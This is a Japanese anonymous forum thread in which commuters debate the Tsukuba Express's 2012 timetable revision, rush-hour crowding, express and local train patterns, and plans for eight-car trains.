それでも、私は南流山以南で、24本/h以上の本数が必要とは思えません。現に運べていますから。

混雑の平準化の手法としては、需要が多い列車は本数を増やすという大原則があります。
極端な例を出せば、快速が15本/hで、普通が5本/hだったら、どんなに八潮待避しようとも普通が混みますよね？
結局、22本/h程度で平行ダイヤを目指すのは、緩急比率を見誤ったまま、
有効本数を増やすと言う最後の手段を使っているだけなのではと思いはじめました。
いや、有効本数の考え方はもちろん重要なのですが、尊重しすぎると、待避が絶対悪になります。

なぜ会社が平行ダイヤを目指すのか、自分としても、そのロジックを理解したいですね。TXは莫大な犠牲を払っていて、
（八潮駅不要資産の減価償却費、輸送効率低下で必要になった3編成、ATO改修費用、加減速によるエネルギーロス）
その犠牲を受け入れた上で、平行ダイヤを目指したいのですから、かなりの理由があるはずです。

快速の本数が少ないから快速に人が集中するんだよ
全編成普通にするのではなく快速を増やせ

複線でのハードオンリー思考のダイヤなんて絵に描いた餅
乗客の流動を考えれば増発は限界に近い

もう優等減速で平行ダイヤしかないのは明白だった
８両化完成が先か、南流山以南各駅化が先か・・

きっと並行ダイヤ導入するなら、
施設のある八潮以南になるだろうね。

>>604
アキバのキャパの小ささでホームでの滞留を均一化させるのが狙いじゃね？
待つ為に並ぶこともままならないホームだからな。
輸送量は計算していたが駅構内での人の流動は軽視してオーバーしてしまいましたというオチなんじゃ・・・。

区快の前を先行する普通が７分先発なら守谷まで逃げ切れるのに
おおたか退避とした理由が解らない
現在、普通と優等の混雑度は目視で４：６で優等混雑に対して
普通５分先発を２分繰り上げると一層優等に偏ると思うが

1サイクルに快速1区快1普通1のパターンが一番実態にあってそうな気もするけど。

今日の帰り、完成した秋葉原駅の新通路を通ってみた。
こっちのが改札までの距離が近い感じがするね。券売機側の改札に出る
から、改札の人の流れを分散できるかも。
ファミマ側の自動改札に人が集中しまくってたからね。

>>604
　当初の目論見だった、八潮待避では、優等に乗客が集中してしまうので、
八潮待避を朝ラッシュ時は採用しないという前提に立てば、
本数を増やすためには、八潮以南は並行ダイヤにならざるを得ないっていう話だと思うが。

＞実際にTXを建設する際は、24本/h、45分を両立できることを前提に施設を作りました。
　この時、乗客は「目的地に先に到着する便に乗りたがる」って言う
当然の行動パターンを見落としたのが問題。
　第１回ダイヤ改正直前には、ラッシュ時ピークの区快の乗車率は180％を越えていたわけで、
　今の乗客数なら死人がでかねない200％を越えた可能性すらある。

＞その犠牲を受け入れた上で、平行ダイヤを目指したいのですから、かなりの理由があるはずです。
　乗客の安全を優先したって言うことでしょ。
　これはこれで、公共交通機関としては、高い見識だと思うけど。

>>612
>>八潮待避を朝ラッシュ時は採用しないという前提に立てば、
「優等に乗客が集中してしまう」ことの解消手段として、八潮待避廃止は誤りなのでは？と突然思ったのです。
理由は>>604で書いた通りで、TXだけ別方向に進んでいる現状に違和感があるのです。

>>この時、乗客は「目的地に先に到着する便に乗りたがる」って言う
>>当然の行動パターンを見落としたのが問題。
その点もあるかもしれませんが、南流山での需要予測が大きく乖離したことも大きな原因だと思います。
朝の上りが南流山に到着した時、降車客が乗車客を上回るというのが当初の予測でした。

>>乗客の安全を優先したって言うことでしょ。
乗客の不均等を解消する手段が（例示したように）他にあるにも関わらず、あえて解消しない理由が知りたいのです。

建設誌ですが、こちらに全文をPDFで掲載してあります。ぜひ見て頂きたいです。
http://tx-style.net/community/tx/

結論：中の人は頭が悪い

>>613
＞乗客の不均等を解消する手段が（例示したように）他にあるにも関わらず、あえて解消しない理由が知りたいのです。
　その手段が優等増やして普通を減らすっていうことだったら、
　開業時に８本／ｈで始めちゃったから、それより普通を減らすわけにはいかないっていう事情もあるんでしょ？
　既得権益ってのは大きい。
　

予測は外れるものｗ

需要低迷を予測して撤退したJRだって
まさかここまで上ぶれするとは・・と思ってるでしょｗ

そもそも
複線で24本/ｈ以上運行できてるのは
ほとんど優等なしでしょ

>>616
＞需要低迷を予測して撤退したJRだって
＞まさかここまで上ぶれするとは・・と思ってるでしょｗ
　とはいえ、JRの運賃体系だったら、黒字になってないかも。

北千住発で守谷とつくばしか停車しない特急を守谷300円つくば500円で運行すればぼろ儲け

>>617
逆にＴＸがＪＲ運賃体系だったら、乗客はもっと増えているはずだから
それに伴う設備投資負担増があるが、場合によっては黒字化もありうる

>>617
当初の需要予測は50万人/日ぐらいだった
そのときの車両計画はオール2階建て10両編成

もし数年後この予想に接近したら
この企画でJRが作ってれば運賃はＪＲ並でも黒字だったかもよ
まあ、バブルの崩壊は計画が狂ったね

>>620
　そう、結局、上ぶれつうても、大幅に下方修正したよりは上だったってだけで、
当初の目論見ほどではない。

誤算
・秋葉原駅に一極集中（当初は南流山・北千住・新御徒町で大量降車を想定）
・同等と思われた守谷・南流山・流山おおたかの森で守谷が流山2駅よりかなり少ない。
・南流山は降車が少なく東京方面への乗車は予想をはるかに上回った
・八潮・三郷中央・柏の葉キャンパスの当初予想を超える躍進
・特に八潮はつくばと同等の利用者数とは思われていなかった

こうみると嬉しい誤算は遠近の『近』で起こっているんだよな。

一番の誤算
・田舎者は電車が通るだけで嬉しくて
　停車駅や所要時間とかに文句なんか言わないと思ってたこと

オフィシャル
ttp://www.mir.co.jp/topics/2012/2012newtimetable_2.html

>>613で「降車客が乗車客を上回るというのが当初の予測」と書きましたが、少し補足します。
「平成15年の乗降客数見直し以前」の予測であって、平成15年の見直し後は、乗車客が降車客を上回っていました。
大昔に既出ですが、改めて駅間輸送人員（1日平均）の資料を上げます。青線が見直し前、赤線が見直し後です。
http://tx-style.net/mir_data/2ch.jpg

青線の場合は開業5年後に38万人/日、赤線の場合は開業5年後に27万人/日、現実は開業8年後で30万人/日です。
なお、開業10年後（開業が平成12年予定だったので平成22年）に47万人/日というのは平成9年の見直し前の値です。
TXでは需要予測が4回行われ、平成9年、平成15年、平成17年に予測の見直しが行われています。

開業後、駅間輸送人員が公式には出ていないので、定量的に比較可能なのは秋葉原、つくばの両駅のみです。
公式サイト掲載のものは「乗車人員」、今回の資料は「乗降人員」なのが注意点です。
これを踏まえると、現在の秋葉原はジャスト青線、つくばは青線を超える水準なのが分かります。

ここで重要なのは、単純に乗降人員で成功、不成功と言えない点です。
乗客1人当たりの乗車距離は計画より大幅に伸びているはずで、同じ30万人でも収益率が高く、混雑率も高いのが現状でしょう。

また、乗車人員からは、対都心への輸送人員数の寄与が分からず一概に「守谷が南流山より少ない」とは言えません。
南流山は上り列車において、守谷より降車客が多いため、対地方の重みがある分、対都心の乗客は少ないはずです。

>>615
今となってはそうですね。他線区のように、逆に停車駅を増やす（安楽死？）のはどうでしょうか？
区間快速が流山パク、柏たなかに列車すれば、既得権益を回避した上で、ダイヤが組みやすくなりますよね。

>>616
逆だと思います。
24本/h以上で優等運転をしていない複線路線は、都心内で完結しているか、特に混雑のひどい路線しかありません。
少なくとも京王線、西武新宿線は複線区間で24本/h以上、優等列車主体（各停の本数＜優等の本数）で運行しています。

>>622
遠近の境界を利根川にするのは微妙です。パイの大きさに偏りを感じます。私はおおたかを「遠」として捉えています。
おおたか時点での所要時間を短縮することは、柏の葉、茨城区間はもちろん、常磐線との競争上も大きな効果があります。

長文駄文失礼しました。

>>621
>当初の目論見ほどではない。
沿線不動産を売り切って、茨城県の赤字が膨らまないのは、38万人ぐらいから上でしょうね。
8両化して簡単に40万人になったりしたら、何というか恐ろしいですね。

逆に言うと、北総は、なんであんなに乗らないのでしょうね？

>>622
駅が出来て街が作られるんだから足立八潮三郷柏の乗降客が爆発的に増えるなんて当たり前じゃんね

どちらにしようと朝は6両でさばける客数じゃなくなってるよね
しかも1、2両増発した程度じゃどうにもならない
南流山以南はほんとうに乗ってるだけで辛い
武蔵野線がトラブってる時とかほとんど拷問に近いわ

>>627
千葉NT中央より西の初期に開発したニュータウンが規模が小さい+開発が終わって年月が経ってるため高齢化ってのがありそう
464通るたびに白井と小室のNT区間は駅から徒歩圏に大きい畑とかあってもうちょっとどうにかならなかったのかと思ってしまう

結局のところ、８両化が最善の解決策なのでは？

「区間」快速があんだけ停車してりゃ遠くに住む意味ないわなｗｗｗ

朝７時台、夕６時台の快速を廃止出来ないもんかのう。
快速を各停にして欲しい。区快は残すとする。

>>626
＞区間快速が流山パク、柏たなかに列車すれば、既得権益を回避した上で、ダイヤが組みやすくなりますよね。
　単純に遅い種別が増えるだけだから、意味無いと思う。
　各駅の時間毎の停車数が減っては文句も出るだろうし。

するには、

区快こそ普通にしていいだろ
ろくに停車駅変わらないのに普通が抜かれるためにわざわざ待つのはおかしい

あれ？ゴミが残った。
最後の一行は無視してちょ。

>>631
　まあ、１０月１５日以降を見ないとなんとも。
　日中はかなりすいてるんだから、８両で走らせて、本数が減るのもイヤだし。

八潮始発は綾瀬とか竹ノ塚みたく機能させるつもりだったんじゃないの？
開業から朝ラッシュの使い方がとても中途半端だよね。
車両が足りないだけ？

夜ダイヤ見ると八潮行き各停と八潮以北各停になる通勤区間快速だけ交互に走らせてればいいんじゃね？って思った。

10月15日以降は、八潮での通過待ちは平日朝つくば方面、夕秋葉原方面と、
土休日の朝に限られるようになるね。
平日夕の通勤快速は、鈍化につながる要素もないので快速のままでよかったと思う。

TXのすれ二つあったのか
もう一方の方にずっといたわ

通勤時間帯につくば〜守谷ノンストップの電車をもっと増発して欲しい。

うるせーバカ

8両フルにしてそれでも対応できないとすると東京延伸もなかなか…
やはり当初の構想であった二階建てか！？いや！！三階建てか！！？？

新ダイヤの駅別勝ち負け表作ってキボンヌ。

>>637
結局のところ都内均一ダイヤの穴埋め役だからな＞八潮始発は。
平行ダイヤはすでに北千住〜秋葉原では開業当初から行われている。
その区間の平行、均一化の為には郊外のダイヤは多少犠牲になっても構いませんよというスタンスはずっと変わらず。
でなきゃつくば発の不均一さやおおたか発の優等1分後の続行などやらんからな。
もし上りラッシュ時だけでもつくばやおおたか発で均一なダイヤで組んだら優等への偏りも減ると思うのだが。

南流山2号車は大変混雑していますなんて引っ切り無しに放送していたけど当たり前じゃん
先頭で快速待ってても諦めて乗らない人も多いし
広くしてもこんなんじゃダメ
せめて上りを後ろ寄せにして女性専用車を端にした方がいい

>>646
南流山以北のほとんどの駅でエスカレーター降り口が２号車辺りにあるからな。
三郷寄り階段使えってことだな。

>>644
自分の披露してみれば？

ちなみに漏れの評価

大勝利：、研究学園
敗北：、守谷（ラッシュ時始発区快が消滅）
勝利：柏の葉、八潮、六町、万博〜みらい平
微妙：つくば、おおたか、南流山（快速の通勤快速化と他種別増便でとんとん）

守谷始発の区快は座るために並ぶ時間考えたら
普通を使った方が楽なので、普通増便されてるなら十分です。

諸悪の根源は雌車

つくばEXはエスカレータの増設しないの？

新しい電車の癖に階段多すぎだし。

>>646
　評価は新ダイヤ始動を見てからだな。

>>651
　健康のために歩けよ。

http://www.sponichi.co.jp/society/news/2012/09/26/kiji/K20120926004200630.html

> 東大大学院の入試問題紛失
>
> 筆入れに入れていたＵＳＢメモリーがないのに帰宅後、気付いた。

どうせTXの車内でワンカップでものんでたんだろｗ

> 通勤時に利用するつくばエクスプレス秋葉原駅構内で駅員がメモリーを発見、

駅員さんGJ！

電車内で紛失したのに駅構内で発見したということは…

原発事故さえなければ、首都機能のTX沿線への移転、160km/h運転特急、水戸延伸
いろいろ夢がひろがっていただろうに。

原発事故がなくてもそれはねーよ

>>648
北千住は？

ひたちの新車は残念だよな

快速ただでさえ混んでるのに乗降客多い駅にさらにとめてどうすんだよ
本数増えまくるんならまだしも、ただ停車駅増えるだけじゃ混雑度が上がるだけ
そんなこと中学生でもわかるだろ

>>659
　普通を増やしたんだから、千葉埼玉人は普通に乗れ。
　好きこのんで快速、改め通勤快速に乗らなくてもいい。

>>660
＞千葉埼玉人は普通に乗れ。
その千葉埼玉人が通勤快速に乗らなくなった分で、
六町利用者が通勤快速に乗車すると思います。
朝ラッシュの東横線の学芸大学みたいに急行が来ても、駅員の放送で、
混んでるので次の各停利用を推奨している駅も、あることはありますけど。

>>661
　１時間に２本しかない通快選んで乗ろうなんて、物好きとしか思えない。
　途中で抜くわけでもないのに。

>>662
六町は通快２本＋普通２本の増発で恩恵はそれなりにある。
今まで「通過」だった快速が通快となって乗車できるのは
本数に関係なく嬉しいことなのは、沿線住民なら当然だな。

優等列車は速いということのほかに、乗り降りで揉まれる回数が少ないという快適性も重要
わざわざ乗り降りを多くするのはおかしい
1時間に2本しかない痛快を選んで乗ろうとしないのなら、わざわざ停車しなくてもいいということだ
うれしいうれしくないというくだらない理由で停車駅が増えるべきではない

>>664
＞乗り降りで揉まれる回数が少ないという快適性も重要
六町からでも青井を通過する分、通勤快速は快適でしょうね。
今回の六町で特徴的なのは、朝ラッシュの八潮始発が
先行列車の２分後に来るようになります。(現状は５〜６分後ですけど)
通勤快速を停車させるからには利用してもらわないと意味がないわけで、
八潮始発からのシフトが進むような気がします。
特に六町で朝２本目、８時丁度の通勤快速は２分後に八潮始発が来ますね。

>>664
　追加料金を払ってるならまだしも、快適性を主張しようなんてお門違いもはなはだしい。
　ダイヤ調整上徐行しなければならないんだから、ついでに停車してしまえっていうのは
おおいにアリ。
　数は少ないだろうが、つくばから六町に通ってる客もいるだろうし。

普通のみの停車駅と各優等の停車駅は、互いに「落しどころ」で折り合う
必要があるけど、３セクのＴＸはその答えになる新ダイヤを提示し続ける
義務がある

ＴＸは安全性、定時性、利便性、快適性、及び速達性がコンセプトだから
「今回は●●性を高めました」と自信をもってＰＲできるものが欲しい

安全性　↓
定時性　―
利便性　↑
快適性　↓
速達性　↓

>>664
＞1時間に2本しかない痛快を選んで乗ろうとしないのなら、わざわざ停車しなくてもいいということだ
　来たら乗るっていうスタンスなんだから問題無いんじゃないか？

　結局、ラッシュ時の快速はダイヤ編成上邪魔くさいんで、廃止して区快に統一したかったんだが、
それじゃ苦情が出るんで、快速の停車駅を増やした通快にしてみますたってことだろし。

>>667
＞「今回は●●性を高めました」と自信をもってＰＲできるものが欲しい
　「今回は、全体的に本数を増やしたんで、平均して快適性が少しはマシになった。」
ってことでしょうなぁ。

>>656
>原発事故がなくてもそれはねーよ
原発事故があったから、常磐線が全線複線化・・したり。
常磐道は2-3年後に通すらしいから、常磐線も復旧させるだろう（津波対策で実質新線）。

>>669
>廃止して区快に統一
確かに、その方が茨城区間はよかったな。
途中駅は当然ですし、つくば発も区快が時間6本で10分間隔のダイヤの方が良かった気がする。
(今までの、快速6:55, 区快6:57よりも、区快6:47, 6:57の方がホームでの待ち時間が減ったはず）

試行期間＝2ヶ月で構わないから、
自治体の意向一切無視の効率性・利便性・収益性・快適性重視の遠近分離ダイヤを組んでみてほしいものだな。
その上でぎゃあぎゃあうるさい柏、三郷、八潮（＆つくば）市民の意見を聞いてみるのがいいと思うんだな。
自治体意向で歪められたダイヤ・種別が結局自分自身の首をいかに絞めており、
鉄道会社に任せたダイヤの方がかえって快適で便利なことがわかると思うんだよな。

・優等はつ〜守各駅＋お＋南＋北〜秋各駅の1種で十分。ラッシュ時も日中も。
・日中＆夕方はすべておおたか緩急接続。
・ラッシュ時は八潮待避もあり。

これだけシンプルにすれば相当均一なダイヤが組め、混雑平準化にも大きく寄与する。

>>673
＞・ラッシュ時は八潮待避もあり。
　これだけはやめた方がいいかもな。他は同意だが。

>>673
茨城区間は、
上り朝ラッシュ７分３０秒
日中１２分（常磐線各駅停車駅と同じ）
下り夕ラッシュ１０分
上記の各サイクル運転のＢ快速でＯＫ

同本数＋αの守谷・八潮発着の普通があればＯＫだし、
２０００系３本新製の必要は無かったかもね

TX沿線風俗情報。

>>675
　それだけ走らせようとすれば、朝ラッシュ時８本／ｈになるから、
現行ダイヤ（７本/h）よりは上。予備を考えると、2000系増備は必要になる。

通勤快速を六町に停める意味がわからん。

>>678
普通のみの停車駅では最も乗降客が多いのに加え、ラッシュ時の八潮〜北千住間はノロノロ運転になる。
１駅くらい停車したところで、大きな遅延はないでしょう。

>>678
>通勤快速を六町に停める意味がわからん。

通勤快速の具体化の際に、快速停車駅に東京・埼玉・千葉・茨城の
４都県が追加候補駅を公平に各々１つ決めたとの話がある

東京は青井と比べて乗降客の多い六町を停車駅に選んだだけで
これに文句言っても何も始まらない

新時刻表見たけど南流山で一発目の通勤快速の前が相変わらず6分開くのは残念だな
八潮始発を通勤快速の前に出すけど
この普通を守谷始発にして増発しないと意味無いだろ
従来の八潮始発を延長したところでほとんど意味が無い

>>678
三郷中央より停まる意味がある。

>>678
お前はバカだからわからんだろうな

>>681
　確かにその八潮発を伸ばしたいとこだな。
　たぶん、その八潮発はラッシュ時に当たらないっていう判断じゃね？
　通快の方はラッシュ時に入るけど。

>>680
>４都県が追加候補駅を公平に各々１つ決めたとの話がある
3セク的解決だなぁ。まあ沿線開発鉄道の宿命か。

>>681 >>684
＞この普通を守谷始発にして
＞確かにその八潮発を伸ばしたいとこだな。
「新5506列車」を守谷始発にしようとしても、
守谷駅の４番線には「新4012列車」が、３番線には「新5222列車」が
既に入線してると、守谷駅に入り込む余地が無い、という事ではないかと。
かといって、「新5220列車」があるから、おおたかで退避もできない。

次回ダイヤ改正では、朝上りラッシュ時は優等１本＋普通２本の
サイクルダイヤ拡大がテーマとなると思う

優等・普通が同数を希望するが、ＴＸは「普通優先」のようで、
理由が解らず困惑しているのは俺だけ？

普通が速すぎるのと追い抜きできる駅がないからだろ

そうそう普通が速いから
いっそのこと朝ラッシュ上りはオール各停のがいい

ようやく皆がわかってきたようだ

もうすぐ最終型の南流山以南の各停化が確定する

>>689
八潮始発があるので、それは無理なのでは。
例えば、南流山を3分等間隔に列車を発車させ、途中八潮始発を加え、
秋葉原に2分30秒等間隔に到着させたいと考えた場合、
どうしても、南流山〜八潮間で通常の普通電車（区快も同じ）と
所要時間の異なる列車の設定が必要になります。
時間調整などで通常の普通電車より遅い電車を設定するのも方法ですが、
それはあんまりだ、となると逆に三郷中央を通過する列車が必要です。

>>686
　それ、単純に、「新5220列車」の発車直後に守谷に伸ばした「新5506列車」
が入線、発車、その後に「新5222列車」が入線発車するように
運用を変更すれば済む話では？

>>689-690
　その前にやること（８両化）あるだろ。

>>690
＞最終型の南流山以南の各停化
考えてみれば、守谷〜秋葉原の所要時間が優等で38分、普通が40分なら、
優等と普通がそれぞれ５分間隔の１時間24本運転を想定した場合、

守谷では優等の１分後に普通が発車して、
秋葉原では普通の２分後に優等が、そして優等の３分後に普通が到着なら、
おおたかでの追い抜きも不要かもしれません。

守谷発車時点で優等は普通の１分前なので、優等は柏たなかは必ず通過。
あと最低１駅を通過ですが、これは柏の葉〜浅草各駅の中で任意です。

>>693
8両化も大事だけど
今は経費をかけずにやれることは
平行ダイヤ化
実際、優等の所要時間が延びてるんだから
時間的にはあまり変わらない

8両化は無駄も発生させる
朝の短時間だけのために
ホーム拡張・ホームドア改良、高額な車両増備、日中の電力無駄遣い
それなら朝ラッシュの平行ダイヤのほうが安くて賢い

その次に増発
だが35万人を超えたら8両化はやらざるを得ないだろうが・・

>>694
　あと１駅ってったら、文句なしにセンパだろうよ。
　今年に入っての乗客数はたなか＞センパなんだし。
>>695
　守谷以南の駅だけの８両化っていう手もあるな。
　車両もTX-1000の普通だけ８両化。
　TX-2000の普通が来たら、運が悪かった（笑

>>695
＞実際、優等の所要時間が延びてるんだから
＞時間的にはあまり変わらない
　今でさえ伸びたんだから、これ以上伸ばしたら、客単価の大きい茨城区間の客が逃げる。

茨城区間は逃げようが無い
バスで東京まで通勤するかｗ

>>698
>茨城区間は逃げようが無い
常磐線。昼間の特快は東京駅乗り入れは確定みたいだよね？

>>698
　今乗ってる客が逃げるんじゃなくて、新たに茨城区間の開発地に移住して
ＴＸの客になる層のこと。
　茨城県内で、常磐区間とＴＸ区間のどちらに家を建てるかの判断に
影響する。

＞常磐区間とＴＸ区間のどちらに家を建てるかの判断
そもそも値段が違いすぎて、
そういう選択は起こり得ないのではないでしょうか。
常磐青電にするか、常磐緑快から野田線や成田線に枝分かれするか、
という選択肢ならあり得そうですが。

>>700
数分遅くなるだけで
常磐に逃げたり、家を買うなら
TXはそれまでだ

朝は常磐だって特快は無いし
ひたちはのろのろだ！

>>690
それなら千鳥停車にすれば速達性を犠牲にしないことができると思うんだがダメだろうか？

金曜の夜、優先席に座ってつめを切って床につめを撒き散らして回収せずに降車していったチリ毛キモヲタがいた

>>699
＞常磐線。昼間の特快は東京駅乗り入れは確定
それ、ホント？
そんなプレスリリースでてたっけ？

＞昼間の特快は東京駅乗り入れ
まあ、あり得ないでしょう。仮に30分おきに東京駅に乗り入れるとすると
特快下りは上野10分発なので、それと対になるのは42分発成田行ですが、
常磐線はともかく、我孫子発着の成田線が上野から東京駅へ直通する
という話は、あまり聞いたことがないから。
千葉県が茨城県に比べて常磐線東京駅乗り入れに積極的でないのは、
恐らく東京駅乗り入れ区間に我孫子発着の成田線が含まれていないから、
我孫子市あたりで意見が割れて、機運が醸成されないのでしょう。

つくばエクスプレスって10両化って可能なの？
>>706
個人的には常磐線からの直通はラッシュ時以外の取手発着の快速のみでいいと思う
昼間であればダイヤや車両に余裕があるし

>>707
>つくばエクスプレスって10両化って可能なの？
地下ホームは、10両化できるようにトンネルが掘ってあったそうだ。
でも、先日10両の長さになった南流山のように余裕が無いので、
10両化しても使い勝手は悪そう。
1面2戦の地下駅は、あと2m幅があると良かったかな？　秋葉・新御徒町・南流山・つくば・・

台風でも運転頑張ってるようで。。。

相変わらず、どいつもこいつも台風になると京急京急うるさいな。
動いてたら動いてたでさすが京急だのなんだの
停まってたら停まってたで客の安全を最優先に考えただのこの事実が台風の凄さを云々

yoNEttterつくばエクスプレスって、エクスプレス言うから特急的なヤツかと思ったら、なんだ、京急の方がはえーじゃん via Teewee

なにいってんだこいつってレベルだな

>708
「狭い」、「使い勝手が悪い」と後で文句を言うのは簡単だけど
ＴＸ設計時点で１０両化対応マージン準備の社内了解を得るのに
担当者はどれだけ苦労したことか…

地下駅の島式ホームの１０両化対応への設計思想は各々異なる。
　秋葉原・つくば　　…末端車止め先への延伸工事要
　新御徒町　　　　　…階段新設エリアを事前準備済
　浅草　　　　　　　…ホーム幅を秋葉原並みに広く
　南千住・みらい平　…必要・充分な余地を事前確保
　南流山　　　　　　…下専用ホーム新設を事前考慮

つくば、歩ってたらしっくり返りそうなくらいの風です…
ＴＸこの中走ってるの？

快速だけ10両化して、工事しにくい駅とくに浅草を通過させればいい

>>708>>711
なるほど
少なくても日比谷線よりは輸送力増強工事が容易にできそうだな
それにしても日比谷線って考えてみたら秋葉原〜北千住間つくばエクスプレスの
ライバルだな
それに北千住でメトロに乗り換えて都心向かう人って多いのかな？

>>714
（笑）

>>702
その数分のために常磐沿線より高い土地代払うんだろ。

南流山7時20分の快速見送って各停に乗っているんだけど日に日に酷くなってる
6分開く間に武蔵野線が両方到着するから元々酷いんだけど
乗れずに見送る客がかなり増えた
新しいダイヤではせめてこの通快の一つ前の区快を普通にするか
通快じゃなくて区快にして新八潮始発を守谷始発にするべきだったでしょ
とにかく朝の6分間隔はヤバイ
きちんと現場を見てからダイヤを組め

八潮始発無くしたら、八潮六町青井の利用者が乗れなくなるじゃん。

>>718
元のスジが八潮始発になるだけ

>>718
送信しちゃった

せっかく増発してるのに通快の後ろじゃ意味がないという意味で

>>706
常磐特快が東京に乗り入れるかどうかは置いといて、
別に30分サイクルにする必要はなかろうて・・・。

千葉県が東京乗り入れに積極的じゃないのは
既に常磐緩行線がバンバン大手町に直通してるから
別にどーでもいいって感じなんじゃないの？

つくばエクスプレスと北総線って何でこんなに差がついてしまったの？

環境と慢心の差

おおたか折り返し普通と、茨城全停車守谷〜北千住ノンストップ快速を交互に走らせればいい
ただし快速は普通を抜かないようにゆっくり走る
それでも無駄に乗り降りがないほうが全乗客にとって快適性は上がる

何かつくばエクスプレスがだんだん地下鉄東西線みたいなダイヤになってきた
と感じるのは気のせい？

どういうこと？

>>726
通勤快速が登場するってことかな

茨城県通過区間民からしたら区間快速増発よりも化け快速(守谷まで快速、以北各停)の方が
いいんだろうな

たまには柏たなかも思い出してください(T^T)

普通のみの停車駅と各優等停車駅は、「落とし何処」で折り合わないとダメ
でも、その最適解をＴＸは今回のダイヤ改正で提示しているか疑問だな

普通優先の朝ラッシュダイヤは駅間の長いＴＸならではだが、中長距離の
乗客にとって頻繁な加減速やドア開閉もストレスだから、優等の充実も
常に追求して欲しい

今年のＨＭ電車の撮影は一昨年までのように車止め付近まで行けるように改めてもらいたい。

ttp://www.mir.co.jp/company/release/2012/1138tx.html

>>730
そう、だから低速の快速を増発すべき

そういえば地下鉄東西線ってかつて西船橋〜東陽町間ノンストップの快速が
あったのがいつの間にか朝ラッシュ時は浦安から各駅停車になる通勤快速ばかり
になってしまったなあ
というか地下鉄東西線って何で他線が軒並み優等列車重視のダイヤを組む中で
このようなダイヤになってしまったんだろう…
正直つくばエクスプレスは快速系統を充実してほしいのだが

もはやエクスプレスではない
ただの糞詰まり

>>733
一度朝の東西線に乗ってみろよ

>>735
東西線は、全国の地下鉄で唯一、河川横断の橋梁があるのが特徴です。

>>733
＞朝ラッシュ時は浦安から各駅停車になる通勤快速ばかり
そう言われないために、通勤快速は落合を通過すれば、
終点の中野まで快速運転をしていることになると思う。
通勤快速中野行だと、落合で降りる人はそんな多くないし。

新宿線も川渡るだろ

丸ノ内線もね

千代田線も

日比谷線だってTXから見えるとこで渡ってるな

>>733
葛西2駅の利用者数が多すぎて、混雑が快速＞各停だったらから
各停より若干空いてる快速にも乗ってもらうためにあんなダイヤになった

>>733
はタチの悪い釣り

>>742
日中の快速も各停化したのは、葛西や西葛西など途中駅からの利用者が急増したかららしい。
その結果、日中の快速は6本/h→4本/hとなり、各停に振り替えられた。
そのおかげで、通過待ちが原木中山から葛西に変更になったんだけどね。

【京王線】
下高井戸、八幡山、仙川：快速停車、通勤快速通過

【小田急線】
経堂：準急と急行停車、朝夕通過

【つくばエクスプレス】
六町、八潮、柏の葉キャンパス、研究学園：快速通過、通勤快速停車

結局ラッシュ時は東西線や田園都市線のように
快速がだんだん停車増えていくんだよな

机上のダイヤではもっと楽なはずなのに
実際は一駅でも詰まればきついダイヤになってしまう
どの路線も解決策は同じか・・

複々線化ができたらなぁ・・

当方が通勤に使っている時間帯は数分程度の時刻変更はあるが、
本数や種別は全く同じで、残念ながらご利益が何も無い

つくば行き終電の繰り下げも、普段は乗車しない時間帯なので、
次回の改正に期待したい

社会人採用募集(平成25年4月入社)のご案内について

http://www.mir.co.jp/topics/2012/254.html

今日夕方北千住から快速6号車に乗ったが、駅に入ったときは1号車以外激混みだった
南流山で少し降りたが、同じくらい乗ってきたのでぎゅうぎゅうだった
おおたかでそれなりに降りて、少し余裕ができた
守谷でいっぱい降りて、座ろうと思えば全員座れるレベルになった

つまり優等に乗る人は遠距離の人なんだから、優等をやたらと停車させて近距離の客まで呼び込むのはアホ

>>749そのとおり

あまり詳しくない俺は、通勤快速ってのは快速より停車駅が少ないんだと思ってたんだが
（例：京葉線…蘇我―新木場間約３０分無停車）

>>750
>>745のとおり、TXだけおかしいみたいだね

>>746
確かに今度のダイヤ改正見ているとだんだん東西線や田園都市線みたいなダイヤ
になってきた感じがする
それに今度のダイヤ改正で八潮駅で待避する列車ってどうなるの？
個人的にはあまりにも混雑が偏るのであればいっそのことラッシュ時は八潮駅
での待避はやめた方がいいと思うのだが
あといっそのこと快速系統をラッシュ時10両化して昼間は6両か8両で運転って
いうのもいいと思う

>>752
八潮で優等列車の接続があるのは８時半過ぎで、ラッシュのピークが終わる頃だから
特に問題ないような気もする。

結局どの列車が先着しようと、優等列車に乗ろうとする物好きな奴が減らない限り偏りはなくならない。

>>753
なるほど
それに今思ったけど田園都市線に準急が登場したのも分かる気がするなあ
それまでは少しでも早く渋谷に行きたい人が多いがために比較的渋谷に近い
駅からでも急行に乗る人が多かっただけに

>>752
設備的に１０両化って簡単に出来るんだっけ？
ホーム延伸等。

・利用者頭打ちで、本数増えないけど朝も夕も快速あって所要時間少ない

・利用者増えて、本数増えたけど停車駅も増えて所要時間かかようになる

おまいらどっちがいいんだよ、俺は断然前者

どう考えても後者

８両化が完了するまで
東西線・田園都市線と同じ道をたどるのは確実だね
すでになりつつあるし

怖いのは８両化が完了しても、東京延伸したらもっと乗客が増えて
焼け石に水になってしまうこと・・

ダイヤ改正後は、南流山から通勤快速乗車、八潮で始発各駅に乗り換え予定している。
今までは八潮で通過後に出発していたが、今度は乗り換え可能だ。

南流山・八潮・六町で連続右扉からの乗降が気になるが。

8両化なんて何年後の話だよ
南流山発南流山行きの電車でも走らせるのか？

>>756
利用者増えても、時差出勤と本数増で混雑率は減って、停車駅も変わらず、所要時間が少ないのが良い

>>760
一時期過半数の編成が８両編成だった新京成も６両化が進んでいるからね。
８両にしても無駄になるのは目に見えているだろう。
本数増でしのげば桶。

>>762
新京成は沿線の高齢化で利用者が減ってるのが主な理由か(常磐平とかもうね・・・)
千葉線への直通運転も理由の一つだが

関鉄の取手〜守谷間は、輸送量激減に伴い５・４・２両→終日２両になったが、
本数を確保し、フリークエントサービスが充実されたので利便性は数段ＵＰ！

>>759
お間抜けさんに教えてあげよう
八潮始発は通勤快速到着前に出発するぜ

>>765
7:56発通快の後に7:59発の八潮始発があるが…
単なる釣りかもね

>>765
通勤快速が八潮７時５６着。
八潮始発は７時５９分発。この列車だけ乗り換え出来るぞ。

って、釣られたかorz

快速のすぐあとに快速を走らせればいい
そうすれば事実上の12両編成になる
なんでポマード臭いおっさんはそういう柔軟な発想ができないのかね

そ、そうだな

>>765
釣らついでに…

来年以降のダイヤ改正は、八潮始発の守谷始発への変更による当該区間の
増発＆純増２本による２４本／時の実施かも…

但し、ＴＸの建設時点での設計要件は、最大運転本数は２４本／時だし、
もう限界に近いから早く８両化対応工事の着手をキボン

０８年の８両化宣言の後、ＴＸから一切コメント無しの状態だな…

>>759
＞南流山・八潮・六町で連続右扉からの乗降が気になるが。
